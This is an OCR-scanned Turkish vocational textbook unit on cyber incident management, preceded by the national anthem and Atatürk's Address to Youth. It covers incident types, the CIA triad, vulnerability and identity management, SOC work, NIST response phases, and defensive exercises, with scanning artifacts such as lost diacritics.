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ISTIKLAL MARSI

Korkma, sbhnmez bu safaklarda ytizen al sancak;
Sénmeden yurdumun Ustiinde tiiten en son ocak.
O benim milletimin yildizidir, parlayacak;
O benimdir, o benim milletimindir ancak.

Catma, kurban olayim, ¢ehreni ey nazli hilal!
Kahraman irkimabir gul! Ne bu siddet, bu celal?
Sana olmaz dokulen kanlarimiz sonra heldl.
Hakkidir Hakk’ a tapan milletimin istiklal.

Ben ezelden beridir hur yasadim, hirr yasarim.
Hangi ¢ilgin bana zincir vuracakmis? Sasarm!
Kukremis sel gibiyim, bendimi ¢igner, asarim.
Yirtarim daglari, enginlere sigmam, tasarim.

Garbin &a&kint sarmissa gelik zirhli duvar,
Benim iman dolu gogsiim gibi serhaddim var.
Ulusun, korkma! Nasil bdyle bir imam bogar,
Medeniyyet dedigin tek disi kalmis canavar?

Arkadas, yurduma algaklar: ugratma sakin;
Siper et gévdeni, dursun bu hayasizca akin.
Dogacaktir sana va dettigi gunler Hakk’1n;
Kim bilir, belki yarin, belki yarindan da yakin.

Bastigin yerleri toprak diyerek gegme, tani:
Dustin altindaki binlerce kefensiz yatan.
Sen sehit oglusun, incitme, yaziktir, atan::
Verme, dinyalari alsan da bu cennet vatan.

Kim bu cennet vatanin ugruna olmaz ki feda?
Suheda fiskiracak toprag: siksan, stihedal
Céanu, canani, bittin varimi alsin da Huda,
Etmesin tek vatanimdan beni diinyada clida.

Ruhumun senden 11ahf, sudur ancak emeli:
Degmesin mabedimin gégsiine ndamahrem €li.
Bu ezanlar -ki sehadetleri dinin temeli-

Ebedi yurdumun Ustiinde benim inlemeli.

O zaman vecd ile bin secde eder -varsa- tasim,
Her certhamdan 118hi, bosarmp kanl yasim,
Fiskirir ruh-1 miicerret gibi yerden na sim;

O zaman yukselerek arsa deger belki bagim.

Dalgalan sen de safaklar gibi ey sanli hildl!
Olsun artik dokdlen kanlarimin hepsi helél.
Ebediyyen sanayok, irkimayok izmihl&l;
Hakkidir hir yagsamis bayragimin hirriyyet;
Hakkidir Hakk’ a tapan milletimin istiklal!

Mehmet Akif Ersoy



GENCLIGE HITABE

Ey Turk gencligi! Birinci vazifen, Turk istiklalini, Tlrk Cumhuriyetini,
ilelebet muhafaza ve mudafaa etmektir.

Mevcudiyetinin ve istikbalinin yegane temeli budur. Bu temel, senin en
kiymetli hazinendir. Istikbalde dahi, seni bu hazineden mahrum etmek
isteyecek dahili ve hérict bedhahlarin olacaktir. Bir giin, istiklal ve cumhuriyeti
midafaa mecburiyetine dusersen, vazifeye atilmak icin, icinde bulunacagin
vaziyetin imkan ve seraitini disunmeyeceksin! Bu imkan ve serait, cok
namisait bir mahiyette tezahlr edebilir. istiklal ve cumhuriyetine kastedecek
dusmanlar, batin dinyada emsali gorilmemis bir galibiyetin - mimessili
olabilirler. Cebren ve hile ile aziz vatanin bitin kaleleri zapt edilmis, butin
tersanelerine girilmis, batun ordular: dagitilmis ve memleketin her kdsesi bilfiil
isgal edilmis olabilir. Bitin bu seraitten daha elim ve daha vahim olmak Uzere,
memleketin dahilinde iktidara sahip olanlar gaflet ve dalélet ve hattd hiyanet
icinde bulunabilirler. Hattd bu iktidar sahipleri sahsi menfaatlerini,
miustevlilerin siyasi emelleriyle tevhit edebilirler. Millet, fakr u zaruret icinde
harap ve bitap dusmds olabilir.

Ey Turk istikbalinin evladi! Iste, bu ahval ve serait icinde dahi vazifen,
Turk istiklal ve cumhuriyetini kurtarmaktir. Muhta¢ oldugun kudret,
damarlarindaki asil kanda mevcuttur.

Mustafa Kemal Atatlrk
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DERS MATERYALININ TANITIMI

! SIBER OLAY e

OGRENME BiRiMi YONETIMI

- Ogrenme biriminde
KONULAR NELER OGRENECEKSIN neler 6grenilecegini

. " o gosterir.
1.1. SIBER OLAY YONETIMI « Siber olaylara miidahale igin olay yonetimi
- Diinyada ve Turkiye'de siber olaylara mida-
hale ekip merkezleri

1.2. SIBER OLAYLARA MUDAHALE EKIiPLERI

TEMEL KAVRAMLAR

Ogrenme birimindeki
konulari gosterir.

Ogrenme birimindeki

+ bilgi giivenligi < temel kavramlari
. CIS o gosterir.

« monitoring

« NIST

« SANS

Konulara 6n hazirlik

HAZIRLIK CALISMALARI yapmak amaciyla
yapilacak galismalari
1. Dijital diinyada sug sayilabilecek eylemler neler olabilir? Arkadaslarinizla tartiginiz. gosterir.

2. Diinyada ve Turkiye’de yasanabilecek siber olaylari 6nlemek icin neler yapilabilir?
Dislincelerinizi arkadaslarinizla paylasiniz.

Okuma pargalarini
gosterir.

—

Akilli Cihazlarin Sessiz Tehdidi

2016 yilinda dinya genelinde internet altyapisina yonelik blyiuk bir saldin
meydana geldi. Saldirnnin  kaynadi, evlerde ve kuglk isletmelerde kullanilan
glivenlik  kameralar, yonlendiriciler ve diger internet baglantili cihazlardan
olusan dev bir botnetti. Bu koti amach yazilim, Mirai Botnet olarak adlandirildi.

\i/lirai, cihazlarin fabrika ayarindaki sifrelerini kullanarak aga siziyor ve onlari kontrol ediyordu.



Bir sirkette ransomware saldirilarina karsi olusturulmasi gereken olay miidahale planini verilen adimlar
dogrultusunda gergeklestiriniz.

1. Adim: Olay miidahale planinin amacini agiklayiniz.

2. Adim: Olay mudahale planinin kapsamini belirleyiniz.
3. Adim: Olay ile ilgili rolleri ve sorumluluklari belirleyiniz.
4. Adim: Olayi siniflandiriniz.

5. Adim: Olay mudahale adimlarini agiklayiniz.

6. Adim: iletisim plani olusturunuz.

Ogrenme birimi
< icindeki uygulama

faaliyetlerini gosterir.

Konularin basliklarini

1.2. SIBER OLAYLARA MUDAHALE EKiPLERi VE MERKEZLER| <

Siber olaylara miidahale etmek, dijital altyapilarin giivenligini saglamak ve siber tehditlere karsi etkili
¢ozumler Uretmek igin koordineli galismalar yuriten gesitli ulusal ve uluslararasi ekipler ve merkezler
bulunur. Ekip, siber olaylara midahale eden uzman kisilerden olusan birimdir. Merkezler ise siber
olaylara karsi koordinasyonu saglamak, bilgi paylasimi yapmak ve is birlik¢i calismalari stirdirmek igin
faaliyet gosteren olusumlardir.

1.2.1. CERT [Computer Emergency Response Team (Bilgisayar Acil Miidahale Ekibi)]

1988 yilinda internet agina 6nemli dlclide hasar veren solucan virls(, acil glivenlik olaylarina karsi
6nlem alan ve miidahale eden merkezlerin gerekliligini ortaya koyar. Bu merkezlerin olusturulmasinda
gorev, Savunma ileri Arastirma Projeleri Ajansi [The Defense Advanced Research Projects Agency
(DARPA)] tarafindan Carnegie Mellon Universitesinin Yazilim Miihendisligi Enstitiisiine verilir. 1988
yihinin sonlarinda ilk bilgisayar giivenlik olaylarina miidahale ekibi olan CERT kurulur. Bu ekiplerin

gosterir.

SIBER OLAYLARA MUDAHALE @

Ogrenme birimi ile ilgili

OLCME VE DEGERLENDIRME <« Olgme ve

A. Asagidaki ciimlelerde bos birakilan yerlere dogru kelimeleri yaziniz.

1. Agdaki farkli sistem ve guivenlik cihazlarindan gelen log verilerini tek bir merkezde toplayip analiz
ederek, guvenlik tehditlerini gercek zamanli tespit etmeyi ve olaylara midahaleyi saglayan sisteme
............ denir.

2. Siber giivenlikte sadece ug nokta (bilgisayar, sunucu, mobil cihaz) tizerindeki etkinlikleri stirekli
olarak izleyen, potansiyel tehditleri tespit eden, analiz eden ve bunlara midahale eden ¢éziime ...

3. Ag trafigini strekli olarak izleyen, potansiyel giivenlik ihlallerini tespit ettiginde sadece alarm
Ureterek sistem yoneticisini uyaran ve veri akisina dogrudan miidahale etmeyen pasif giivenlik
SISLEMINE ..o denir.

4. iceriden gelebilecek tehditler basta olmak lizere, bir agdaki kullanicilarin ve varliklarin normal
davranisini makine 6grenimi ile 6grenip, bu profilden sapan anormal veya stpheli hareketleri tespit
ederek uyari Ureten giivenlik ¢OZUMUNE ......ccoeevererenienieieieenene denir.

5. Uygulama sunucusu ile istemci arasinda ters vekil (reverse proxy) olarak konumlanarak, 6zellikle
uygulama katmani saldirilarina karsi gelen ve giden HTTP trafigini izleyip slpheli aktiviteleri
engelleyen giivenlik duvarina ........ccccocevevenvennens denir.

degerlendirme
galismalarini gosterir.



Ogrenme birimi ile ilgili

Arastirma ~<+— arastirma etkinliklerini
gosterir.
Sosyal medya platformlarinda karsilasilan dolandiricilik yontemlerini arastiriniz. Elde ettiginiz
bilgileri sinif arkadaglarinizla paylasiniz.
Wazuh'da log siniflandirma kurallari local_rules.xml dosyasinda olusturulur (Tablo
3.15). Kural tabanli siniflandirma, Wazuh gibi SIEM araglarinda yaygin kullanilirken Konulari pekistirici ve
. X o _ ~+— destekleyici ek bilgileri
anahtar kelime ve regex tabanl teknikler, manuel veya kiiglik 6lgekli sistemlerde gbsterir.

tercih edilir. Makine 6grenimi ise blyuk 6lgekli ve dinamik sistemlerde daha gelismis
¢Ozlimler sunar.

Tablo 3.2: Siireg ve Bilesenler

“ waZUh Bile;eni “ Konularla Ilglll Snemi
-«— bilgilere dikkat ¢ekmek

Normalizasyon Decoder (local_decoder.xml) Logu pargalara ayirir (user, ip). amaciyla verilen
" . . " tablolari gosterir.

Logu "authentication_failures" grubuna
Siniflandirma Rule (local_rules.xml)

atar.

. Ayni IP'den tekrar eden girigler analiz

Korelasyon Rule (same_source_ip) .

edilir.

Wazuh ortaminda bir kullanicinin 1 dakika iginde 10 defa kritik bir dosyaya erisim yapmasi Ogrenme birimi icindeki

durumunda alarm olusmasi isteniyor. Asagida istenenleri g6z 6niinde bulundurarak < S'IatSiZ_de calismalarini
. X gosterir.
Wazuh igin XML formatinda bir korelasyon kurali yaziniz.

» Kural ID: 200200
« Alarm Seviyesi: 9
- Dosya erisim olaylari if_sid olarak 41000 (6rnek) kullanilsin.

« Ayni kullanici adi (user alani) baz alinarak grup yapilacak

Hipotezler olustur.
Ders materyali
iceriginde yer verilen
gorselleri gosterir.

A

Yeni desenleri ve TTP’leri 03
ortaya cikar.

04 Analitigi bilgilendir ve
zenginlestir.

Ders materyali igeriginde
yer verilen gorsellerin
numaralarini ve
agiklamalarini gosterir.

Gorsel 2.29: Tehdit avcilig stireci <=
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HAZIRLIK CALISMALARI

1. Dijital diinyada sug sayilabilecek eylemler neler olabilir? Arkadaslarinizla tartisiniz.

2. Diinyada ve Tiirkiye’de yasanabilecek siber olaylari 6nlemek icin neler yapilabilir?
Dislincelerinizi arkadaslarinizla paylasiniz.

1.1. SiBER OLAYLAR VE YONETiM SURECI

Dijital sistemlerdeki verilerin butlnligunu, erisilebilirligini veya gizliligini tehlikeye atan kotu niyetli
eylemlere siber olay denir. Bu tiir eylemler siber saldiri olarak adlandirilirken, bunlara karsi alinan
koruyucu 6nlemlere de siber giivenlik denir.

Bilgi teknolojilerinin gelismesiyle birlikte siber saldirilarin sayisi da her gecen gilin artar. Bu durum
hem bireysel kullanicilari hem de biylk kurum ve kuruluslari yakindan ilgilendirir. Siber saldirilar;
veri hirsizligl, hizmet kesintileri, fidye yazilimi, itibar kaybi gibi bircok olaya sebep olurken bireyleri ve
kuruluslari maddi veya manevi zarara ugratir. Siber giivenligin saglanmasinda en 6nemli faktor insandir.
Bu sebeple calisanlara siber glvenlik alaninda siirekli olarak egitimler verilip farkindalik saglanmalidir.

Siber olay yonetim sireci; hazirlik, miidahale ve iyilestirme olmak Uzere (g yonll bir stirec olarak ele
alinir. Hazirhk siirecinde siber olaylara karsi dnleyici tedbirler ele alinirken, miidahale sirecinde olay
aninda yapilmasi gereken eylemler belirlenerek is stirekliliginin saglanmasi hedeflenir. Uzman bir ekip
ve otomatik glivenlik araglariyla sistemlerde kesintisiz olarak izleme yapilir (Gorsel 1.1). Bu sayede
potansiyel tehlikelerin tespiti, glivenlik aciklarinin giderilmesi, veri gizliligi ile bitlinlGglnin korunmasi
veya olaya en hizli sekilde miidahale saglanir. lyilestirme asamasinda elde edilen verilere gére yeniden
degerlendirme yapilarak siirecte glincellemeler yapilir.

"j_'”.' i LA |

| 1

Gorsel 1.1: Sistemlerin kesintisiz olarak izlenmesi
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1.1.1. Siber Olay Tiirleri

Siber olay yonetim stirecini etkili bir sekilde planlamak ve yonetmek icin siber olay tirleri hakkinda
yeterli bilgiye sahip olmak gerekir. Teknolojinin gelisimine paralel olarak siber saldiri ¢esidi ve sayisi da
artar. Gorsel 1.2’de en ¢ok bilinen siber olay tirleri goralir.

;
Ayricalik Yiikseltme |m

Kotii Amach Yazi

v

Gelismis Surekli Tehdit

Hizmet Reddi

Gorsel 1.2: Siber olay turleri

Yetkisiz Erisim (Unauthorized Access): Bir kurulusun bilgi sistemlerine, ag kaynaklarina veya
uygulamalarina yetkisiz kisilerin erisim saglamasidir. Bu eylem, kotl niyetli olarak yapilabilecegi gibi
gerekli tedbirlerin alinmamasi veya bazi yazilim hatalari sonucunda da meydana gelebilir. Glgli parola
kullanimi, kimlik dogrulama yontemleri, glivenlik duvari, saldiri tespit sistemleri, log izleme araclari gibi
yontemlerle yetkisiz erisim onlenir.

Ayricalik Yiikseltme (Privilege Escalation): Bir sisteme yetkisiz erisim saglandiktan sonra givenlik
aciklarini kullanarak daha ayricalikli islemleri yapabilme yetkisine sahip olma eylemidir. Ayricalik
yukseltme ile yonetici yetkisine sahip olarak kritik bilgiler ele gecirilebilir ve sistemlere ¢ok buylk
zararlar verilebilir.

Kimlik Avi (Phishing): Sahte e-postalar, mesajlar veya baglantilar araciligiyla kullanicilarin bilgilerinin
ele gecirilip ifsa edilmesi veya koti amagli yazilimin yayilmasinin saglanmasi amaciyla yapilan saldiri
turadir. Kimlik avi saldirilari; maddi kayiplara, kisisel bilgilerin ¢alinmasina, itibar kaybina veya duygusal
zarar gormeye sebep olabilir.

Kotii Amach Yazilim (Malware): Bir kurulusun sistemlerini veya verilerini tehlikeye atmak icin kullanilan
zararh yazilimlardir.

Hizmet Reddi [Denial of Service (DoS)]: Bir sistemde veya agda asiri trafik olusturularak bunlarin
hizmet disi birakilmasi eylemidir. Bu saldiri tiiriinde amag, hizmetleri aksatmak ve mali zarar vermektir.

Ortadaki Adam [Man-in-the-Middle (MitM)]: Bir agdaki veri iletimini izinsiz olarak dinleyen, verileri
ele geciren veya degistiren saldiri taradar. Ag protokollerindeki zayifliklar, yazihm hatalari veya kullanici
hatalari bu saldiri tiirine karsi zafiyet olusturur. ARP zehirlenmesi, DNS sahtekarligi, glivensiz Wi-Fi
aglarinin dinlenmesi gibi yontemler MitM saldiri tlrleridir. Bu yontemlerle istemci ve sunucu arasindaki
iletisim bilgileri, sifreler ve oturum bilgileri ele gegirilip degistirilebilir.

Fidye Yazilmi (Ransomware): Kullanicilarin bilgilerini ele gegirip, sistem dosyalarini kendine 6zgii
yontemlerle sifreleyerek karsiliginda fidye talep edilen saldiri tiridir. Sistemin yeniden saglikh calismasi

[ —
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karsiliginda fidye olarak kripto para talep edilir. Fidye yazilim saldirilari hem bireysel kullanicilar hem de
kurum ve kuruluslar agisindan yikici sonuglara sebep olabilir.

i¢ Tehdit (Insider Threat): Bir kurulusun icindeki kisilerin dikkatsiz kullanimi, ihmali veya kétii niyetinin
sebep oldugu tehdit tirldir. Kurulusun icinde yer almasi ve erisim yetkisinin olmasi sebebiyle ic
tehditlerin tespiti daha zor olabilir. Ayrica bu durum; kurum icinde ciddi derecede veri kaybina, maddi
zarara veya itibar zedelenmesine sebep olabilir. i¢ tehditleri 6nlemek icin erisim yetkilerini en aza
indirmek, olay kayitlarinin dizenli olarak denetlenmesi, ¢ift faktorli kimlik dogrulama kullaniimasi,
davranis analizi, kullanici hareketlerinin izlenmesi gibi uygulamalar kullanilmalidir. isten ayrilan
kullanicilarin erisim yetkileri hemen sonlandiriimalidir.

Gelismis Siirekli Tehdit [Advanced Persistent Threat (APT)]: Blylk kuruluslarin ve kritik altyapilarin
hedef alindig sistematik ve uzun vadeli saldiri trtdir. Bu saldirilar, sistemin igcinde uzun vadeli yer
alarak 6nemli verileri ele gecirmeyi hedefler. Devlet destekli gruplar veya organize sug¢ orgltleri
tarafindan gergeklestirilen bu eylemler genellikle casusluk, fikri milkiyet hirsizhigi veya kritik altyapilara
zarar verme amaci tasir.

Arastirma

Sosyal medya platformlarinda karsilasilan dolandiricilik yontemlerini arastiriniz. Elde ettiginiz
bilgileri sinif arkadaslarinizla paylasiniz.

1.1.2. Siber Olay Terim ve Kavramlari

Siber olay yonetim siirecinde sik¢a kullanilan bazi terim ve kavramlar sunlardir:

Siber Giivenlik (Cyber Security): Dijital sistemleri, bilgisayar aglarini, programlari veya verileri
saldirilardan korumak igin kullanilan teknolojiler ve uygulamalar biittnuddr. Siber glivenlik dnlemleriyle
yetkisiz erisim, veri ihlali, hizmet reddi, kot amacl yazilim saldirilari, sosyal mihendislik, kimlik avi gibi
tehditlere karsi koruma saglanir.

Bilgi Giivenligi (Information Security): Bilginin yetkisiz erisimine, izinsiz kullanimina ve degistiriimesine
karsi korunmasina denir. Bu kavramin li¢ temel unsuru CIA piramidi olarak adlandirilir (Gorsel 1.3).

Availability

Gorsel 1.3: Bilgi givenliginin l¢ temel unsuru
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Bilgiye erisimin sadece yetkili kisiler tarafindan saglanmasina gizlilik (confidentiality) denir. Erisim
kontroll ve sifreleme gibi yontemlerle kisisel veriler, bankacilik hizmetleri, ticari islemler gibi hassas
bilgilerin yetkisiz kisiler tarafindan ele gegirilmesi 6nlenir.

Bilginin dogru, tam ve tutarl olmasina biitiinliik (integrity) denir. Bilgi bitlnlGgind saglamak igin
veriler dizenli olarak yedeklenir ve veri kaybi durumunda yedekler geri yiklenir. Bilgi bitlnlGglinin
kontroli ile veriler Gizerinde yapilan degisiklikler ve yetkisiz erisim tespit edilir.

Bilginin ihtiya¢ duyuldugu anda kullanilabilmesine erisilebilirlik (availability) denir. Sistemlerin kesintisiz
olarak hizmet verebilmesi icin verilerin erisilebilir olmasi 6nemlidir.

Son Kullanici Giivenligi (End-User Security): Son kullanicilarin kisisel bilgisayarlarini, verilerini ve ag
erisimlerini siber saldirilara karsi korumak i¢in alinan giivenlik dnlemlerini kapsar. Siber glivenlikte en
zayif ve en kritik unsur insandir. Bu nedenle kullanicilarin siber tehditler konusunda egitimli olmasi
cok 6nemlidir. Son kullanici giivenligi 6zellikle insan hatasindan kaynaklanan riskleri en aza indirmeyi
hedefler. Kimlik avi, kdti amagh yazilim, fidye yazilimi ve sosyal miihendislik en ¢ok rastlanilan son
kullanici tehditleri arasindadir. Ayrica kolay tahmin edilebilir zayif parolalar ve glincel olmayan yazilimlar
da ciddi glivenlik riskleri olusturur. Son kullanici glivenligini saglamak igin alinmasi gereken énlemler
sunlardir:

« GUcla ve benzersiz parolalar kullaniimasi

« Cok faktorlu kimlik dogrulamanin etkinlestirilmesi

« Bilinmeyen kaynaklardan gelen e-postalara dikkat edilmesi
« Glncel ve glivenilir antivirts yazilimlarinin kullanilmasi

« Sistemin glincellenmesi

« Verilerin diizenli araliklarla yedeklenmesi

« Guvenlik duvarinin aktiflestirilmesi

« Siber givenlikte farkindalik egitimlerinin verilmesi

Zafiyet Yonetimi (Vulnerability Management): Bir kurulusun
bilgi sistemi veya ag yapisinda siber saldirilara karsi zayif
olan glvenlik aciklarini tespit etme, oOnceliklendirme,
degerlendirme ve giderme siirecine zafiyet yonetimi denir.
Bu sireg; kuruluslarin siber riskleri proaktif, strekli ve
sistematik sekilde yoneterek zafiyetleri en aza indirmesini
hedefler. Zafiyetler genellikle yanhs ag yapilandirmalari,
hatali yazilim kodlari, glincel olmayan yazilimlar, sifirinci giin
zafiyeti veya kisisel hatalar gibi ¢esitli nedenlerle gergeklesir.
Zafiyetleri tespit etmek icin zafiyet taramasi, sizma testi,
yazihm kodlarinin incelenmesi, log analizi gibi yontemler
kullanilir. Gorsel 1.4’te tespit edilen zafiyetin yonetim sireci

Zafiyet

Yonetim
Siireci

goralur. . ] S
Gorsel 1.4: Zafiyet yonetim sireci
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Kesfet (Discover): Sistemdeki glivenlik agiklarinin (zafiyetin) tespit edilmesidir.

Degerlendir (Assess): Kesfedilen zafiyetlerin sistem lizerindeki etkisinin analiz edilmesidir.
Onceliklendir (Prioritize): Tespit edilen zafiyetlerin kritik olma seviyelerine gore siralanmasidir.
Rapor Et (Report): Tespit edilen zafiyetlerle ilgili detayh bilgilerin raporlanmasidir.

Diizelt (Remediate): Zafiyetlerin giderilmesi icin gerekli eylemlerin yapilmasidir.

Dogrula (Verify): Dlzeltilen zafiyetin gercekten kapatildiginin kontrol edilmesidir.

lik ve Erisim Yonetimi [Identity and Access Management (IAM)]: Bir kurulusun dijital kaynaklarina

erisim saglayan kullanicilarin kimliklerinin dogrulanmasini ve bu kaynaklar icin kullanicilara hangi
diizeyde erisim yetkisinin verilecegini belirleyen bir gercevedir. IAM servis bilesenleri dort temel

kisimdan olusur (Gorsel 1.5).

1.

Kimlik Dogrulama Hizmetleri

« Tek oturum agma

« Cok faktérli kimlik dogrulama
+ Oturum ve token yénetimi

Yetkilendirme Hizmetleri \\\
+ Roller \
« Kurallar

- Oznitelikler /
« Aynicalikh erisim

Yénetim Cercevesi P

Kullanic Y8netim Hizmetleri ™

+ Kullanici hesabi olusturma \

« Kullanici hesabini devre disi |
birakma/silme |

- Kendi kendine hizmet /

- Yetki devri S

Raporlama ve Analiz

Dizin Hizmetleri

+ Kimlik deposu

« Dizin birlesimi

« Meta veri senkronizasyonu
+ Sanal Dizin

Gorsel 1.5: IAM servis bilesenleri

Kimlik Dogrulama Hizmetleri (Authentication Services): Kullanicilarin sisteme ilk erisimi sirasinda
kimlik bilgilerinin dogrulanmasina dayanan etkin bir oturum agma sirecidir. Tek oturum agma
(single sing-on) ile kullanicilarin tek bir kimlik bilgisiyle birden fazla uygulamaya erisimi saglanir.
Cok faktorlii kimlik dogrulamasi (multifactor authentication) ile sifre, onay kodu gibi birden fazla
yontemle kimlik dogrulamasi yapilmasi kontrol edilir. Oturum ve token yénetimi (session and
token management) ile ise etkin oturumlar yonetilir. Oturum kapatildiginda veya zaman asimina
ugradiginda yeniden kimlik dogrulama islemi yapilarak sisteme erisim saglanur.

Yetkilendirme Hizmetleri (Authorization Services): Kimlik dogrulama isleminden sonra
kullanicilarin hangi kaynaklara erisimine izin verileceginin belirlendigi stregtir. Kullanicilara yetki
vermek icin roller (roles) ve kullanicilarin erisim izinlerini diizenlemek icin kurallar (rules) belirlenir.
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Oznitelikler (attributes) ise kullanicinin kimligi, roli, erisim saglayacag veri tiir(i, giivenlik seviyesi
gibi birden fazla faktore bagl kalarak erisim izni saglama yontemidir. Yiksek diizeyde yetkiye sahip
kullanicilarin erisimi ise ayricalikhi erisim (privileged access) ile diizenlenir.

3. Kullanici Yonetimi Hizmetleri (User Management Services): Kullanici hesaplarinin olusturulmasi,
silinmesi, devre disi birakilmasi, yetkilerinin devredilmesiveya kendi hesap yonetimlerini yapabilmesi
slrecinin yonetilmesini saglar.

4. Dizin Hizmetleri (Directory Services): Kullanici kimliklerinin ve diger bilgilerin saklanip yonetilmesini
saglar. Kullanici kimlikleri, bir veri tabaninda kaydedilirken farkl dizinler arasinda kimlik bilgileri
paylasilir. Meta veriler, senkronize edilir ve farkh dizin kaynaklari sanal dizinde birlestirilir.

Maksimum Onlem, Minimum Taviz (Maximum Security, Least Privilege): Siber saldiri olasiligini en aza
indirecek sekilde Ust diizey glivenlik dnlemlerinin saglanmasina maksimum 6nlem, bu siirecte isleyisin
strekliligini ve kullanici deneyimini olumsuz etkileyen durumlarin en aza indirilmesine ise minimum
taviz denir.

izleme (Monitoring): Bir kurulusun bilgi sistemi, ag yapisi veya uygulamalarinin potansiyel saldirilara
karsi siirekli olarak gbzlemlenmesi ve analiz edilmesi siirecine denir. Bu siiregte sisteme ait log kayitlari,
ag trafigi ve erisim istekleri gesitli araglarla izlenerek veri toplanir. Veriler analiz edildikten sonra riskli
gorilen islemlere miidahale edilir. Karsilasilan olay sonrasinda gerekli raporlama yapilarak iyilestirme
onlemleri alinir. Siber olaylara karsi hizli miidahale etmek ve aksiyon alabilmek icin izlemenin kesintisiz
yapilmasi gerekir.

Guvenlik Operasyon Merkezi [Security Operations Center (SOC)]: Kuruluslarin veri sistemlerini
kesintisiz olarak izleyen, glivenlik aciklarini tespit eden, saldirilara karsilik veren ve gerekli diizeltmeleri
saglayan merkezi bir birimdir. SOC ekipleri, vardiyali olarak calisir ve 7/24 kesintisiz izleme yapar. izleme
slirecinde gerceklesen siber olaylara aninda miidahale edilir, potansiyel glivenlik agiklari stirekli olarak
test edilir ve tespit edilen zafiyetler dizeltilir. Blyilik ve karmasik yapidaki kuruluslar, kendi biinyelerinde
SOC kurarken kiiclik ve orta oOlgekli isletmeler bu hizmeti disarindan saglayabilir.

1.1.3. Siber Olay Yonetim Siireci

Siber olaylara karsi etkili bir mtidahale; detayl bir eylem plani, cesitli araglar ve uzman ekipler araciligiyla
saglanir. Cok faktorli kimlik dogrulama, giincel glivenlik yazilimlari, sistem glincellemeleri, erisim
kontrol(, saldiri tespit ve 6nleme sistemleri, glivenlik bilgi ve olay yonetimi, zafiyet yonetimi, fiziksel
glvenlik gibi siber giivenlik dnlemleri saglanarak hem hazirlik hem de miidahale siirecine katki saglanir.
Bu slirecte gerceklesebilecek herhangi bir siber olaya karsi aninda izlenecek tiim adimlar olay miidahale
plani [Incident Response Plan (IRP)] ile detayli olarak 6nceden belirlenir. Olay gerceklestiginde olaya
hizli ve koordineli bir sekilde miidahale edilmesi esastir. Olay siirecinde kisilerin gérev ve sorumluluklari
bellidir. Olay midahale planinin amaci, siiregte hicbir karmasikliga mahal vermeden hizl ve etkili bir
¢6zim sunmakdtr. Etkili bir olay miidahale planiyla olay sonrasi kanitlarin incelenmesi, analiz edilmesi,
yasal sorumluluklara uygun hareket edilmesi ve itibar kaybinin en aza indirilmesi saglanir.
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Gorsel 1.6’da olay miidahale planinin yedi asamasi goralir.

Tespit ve lay Sonrasi
Analiz _ Inceleme

Gorsel 1.6: Olay miudahale planinin asamalari

1. Hazirhik: Bu asamada olay gerceklesmeden dnce alinmasi gereken dnlemler belirlenir. Potansiyel
riskler degerlendirilip gerekli politika ve prosedirler belirlenir. Sistemin korunmasi i¢in gerekli
givenlik 6nlemleri bu asamada alinir. Siber saldirilar konusunda personelin egitimi ve siber olaylara
muidahale edecek uzman ekiplerin olusturulmasi da hazirlik sirecinin en 6nemli adimlarindandir.

1. Tespit ve Analiz: Siber olayin ilk kez fark edildigi asamadir. Olayin tiiri, kapsami ve etkileri detayli
olarak incelenir. Olayin nasil gerceklestigi ve hangi kaynaklardan geldigi izleme araglari, kullanici
raporlari, otomatik uyarilar ve log kayitlariyla tespit edilir. Daha sonra olayla ilgili ayrintih bir kayit
olusturulur. Bu kayitta olayin agiklamasi, tespit edildigi zaman, olayi inceleyen ekip, olayin etkilerinin
degerlendirilmesi gibi bilgiler yer alir. Bu bilgiler, olay miidahale ekipleriyle paylasilarak siirecin is
birligi icinde ilerlemesi saglanir.

1. Sinirlama: Bu asamada olaydan etkilenen sistemler izole edilerek olayin etkilerinin yayilmasi
onlenir. Ag erisiminin durdurulmasi, hesap erisiminin engellenmesi, stipheli dosyalarin karantinaya
alinmasi gibi islemler izolasyon ile gerceklestirilir. Sinirlama asamasinda is strekliligi minimum
diizeyde etkilenmelidir. Ayni zamanda bu asamada kanit toplandigi igin sinirlama islemi bu sireci
etkilememelidir.

1. Yok Etme: Olayin sebeplerinin ortadan kaldirildigi asamadir. Sisteme zarar veren zararli yazihmlar
temizlenerek sistem yeniden yapilandirilir. Yok etme adimi, kanit toplama stirecini etkilememelidir.

1. Kurtarma: Olayin etkilerini yok ettikten sonra sistemin eski haline dondirildigl asamadir. Bu
asamada zarar goren veriler kurtarilarak sisteme geri yiklenir. Ayni zamanda geri ylklenen verilerin
saglikh ¢alisip ¢calismadigl da bu asamada kontrol edilir.

1. Olay Sonrasi inceleme: Tiim miidahale siireci bu asamada degerlendirilir ve benzer durumlara karsi
yeni tedbirler alinir. Kisisel hatalar, sistem aciklari veya glivenlik politikalari gibi sebepler incelenerek
olayin gerceklesmesine sebep olan en temel neden belirlenir. Olay midahale planinin kullanimi,
yeterliligi, varsa eksiklikleri incelenir ve yeniden yapilandirilir. Bu slirecin sonunda detayh bir rapor
hazirlanir.

2. Siirekli lyilestirme: Olay sonrasinda alinan dersler dogrultusunda giincellenen savunma
mekanizmalarinin sirekli test edildigi, glivenlik politikalari ve prosedirlerin gbzden gecirildigi ve
tim iyilestirmelerin dizenli denetiminin yapildigi dinamik bir risk yonetim sirecidir. Siber olaydan
sonra sistemdeki zafiyetler tespit edilerek gerekli diizeltmeler yapilir. Yeni tehditlere karsi proaktif
onlemler alinir ve zafiyet taramalari yapilr.
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Bir e-ticaret sirketinin 6deme sunucusunda SIEM sistemi anormal trafik uyarisi Gretmis-
tir. Yapilan incelemede SQL Injection saldirisiyla musteri veri tabanina yetkisiz erisim sag-
landig tespit edilmistir. Bu senaryoya gore NIST SP 800-61 standardinin yedi asamasini
uygulayarak olay miidahale plani olusturunuz. Her asamada yapilmasi gereken islemleri
senaryoya 0zgl belirleyiniz ve olay sonrasi alinmasi gereken énlemleri raporlayiniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecek-
tir. Calismanizi yaparken degerlendirme 6lgutlerini dikkate aliniz.

1.1.4. Siber Olay Miidahale Cergeveleri

Siber olay yonetim sirecinde her kurulusun yapisi, isleyisi ve potansiyel riskleri farkli oldugu igin
karsilastigl siber glivenlik tehditleri de cgesitlilik gosterir. Tek bir midahale planinin farkl tehditlere
karsi ¢ozlim bulmasi, siireci uzatabilir veya yetersiz kalabilir. Bu sebeple kuruluglarin farkli ihtiyaglari
ve odak noktalarina gore gesitli miidahale ¢erceveleri gelistirilir. Olay miidahale cerceveleri, farkl odak
noktalarina gore standart bir yaklasim sunarken siber olaylara karsi tutarli ve etkili miidahale edilmesini
